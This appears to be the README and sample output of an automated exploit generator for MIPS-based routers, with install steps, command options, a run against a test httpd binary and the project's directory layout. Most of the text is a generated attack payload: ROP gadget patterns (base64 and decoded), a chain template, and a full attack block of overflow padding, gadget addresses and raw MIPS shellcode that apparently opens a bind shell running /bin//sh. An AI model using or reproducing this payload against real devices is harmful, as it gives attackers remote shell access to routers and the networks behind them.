$ git clone https://github.com/arthastang/Router-Exploit-Shovel.git

$ cd Router-Exploit-Shovel/
$ python3 setup.py install

$ python3 Router_Exploit_Shovel.py -h
Usage: Router_Exploit_Shovel.py [options]

Options:
  -h, --help            show this help message and exit
  -b BINARYFILEPATH, --binaryFile=BINARYFILEPATH
                        input binary file path
  --ba=BINARYBASEADDR, --binaryBaseAddr=BINARYBASEADDR
                        input binary base address,default=0x00400000
  -l LIBRARYFILEPATH, --libraryFile=LIBRARYFILEPATH
                        input libc file path
  --la=LIBRARYBASEADDR, --libraryBaseAddr=LIBRARYBASEADDR
                        input library base address,default=0x2aae2000
  -o OVERFLOWFUNCTIONPOINTOFFSET, --overflowPoint=OVERFLOWFUNCTIONPOINTOFFSET
                        input overflow function point offset
  --arch=ARCH           input architecture of elf files,[little] or
                        [big],default=big

$ python3 Router_Exploit_Shovel.py -b test_binaries/mipseb-httpd -l test_binaries/libuClibc-0.9.30.so -o 0x00478584

--Router_Exploit_Shovel.py       #Startup script
--databases/                     
  |---ROP_patterns/              #YAML file of ROP patterns        
  |---shellcodes/                #YAML file of shellcodes
--example/                       #Nday vulnerabilities, full report and exploit code
--results/                       
  |---ROP_gadgets/               #ROP gadgets generating results       
  |---attackBlock.txt            #Attack block generating results
--ropper/                        #Modified ropper module to get all gadgets
--filebytes/                     #Filebytes module to load ELFs
--router_exp_shovel/             #Main module         
  |---offset_calculator/         #Calculate padding size 
  |---ROP_maker/                 #Make ROP chains
  |---shellcode_maker/           #Make shellcodes
--qemuTestEnvironment/           #MIPS run-environment for router exploitation

chainString: (gadget2)(gadget1)BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB(sleep)CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC(call_code)DDDD(stack_gadget)\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44
gadget1: KC4qKW1vdmUgXCR0OVwsIFwkczE7IGx3IFwkcmFcLCAweDI0XChcJHNwXCk7IGx3IFwkczFcLCAweDIwXChcJHNwXCk7IGx3IFwkczBcLCAweDFjXChcJHNwXCk7KC4qKTsganIgXCR0OTsgYWRkaXUgXCRzcFwsIFwkc3BcLCAweDI4Ow==
#gadget1: (.*)move \\$t9\\, \\$s1; lw \\$ra\\, 0x24\\(\\$sp\\); lw \\$s1\\, 0x20\\(\\$sp\\); lw \\$s0\\, 0x1c\\(\\$sp\\);(.*); jr \\$t9; addiu \\$sp\\, \\$sp\\, 0x28; 
gadget2: KC4qKWFkZGl1IFwkYTBcLCBcJHplcm9cLCAxOyBtb3ZlIFwkdDlcLCBcJHMxOyBqYWxyIFwkdDk7
#gadget2: (.*)addiu \\$a0\\, \\$zero\\, 1; move \\$t9\\, \\$s1; jalr \\$t9;
call_code: KC4qKW1vdmUgXCR0OVwsIFwkczI7IGphbHIgXCR0OTs=
#call_code: (.*)move \\$t9\\, \\$s2; jalr \\$t9;
stack_gadget: KC4qKWFkZGl1IFwkczJcLCBcJHNwXCwgMHgxODsoLiopbW92ZSBcJHQ5XCwgXCRzMDsgamFsciBcJHQ5Ow==
#stack_gadget: (.*)addiu \\$s2\\, \\$sp\\, 0x18;(.*)move \\$t9\\, \\$s0; jalr \\$t9;

attackBlock = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x2a\xb3\x7c\x60\x2a\xb2\xbd\xfcBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x2a\xb3\x5c\xa0CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\x2a\xb0\x09\x38DDDD\x2a\xaf\x76\x68\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99\x27\xb2\x05\x4b\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1\x02\x2a\x18\x26\xae\x43\xff\xc1\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d\x7a\x69\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c"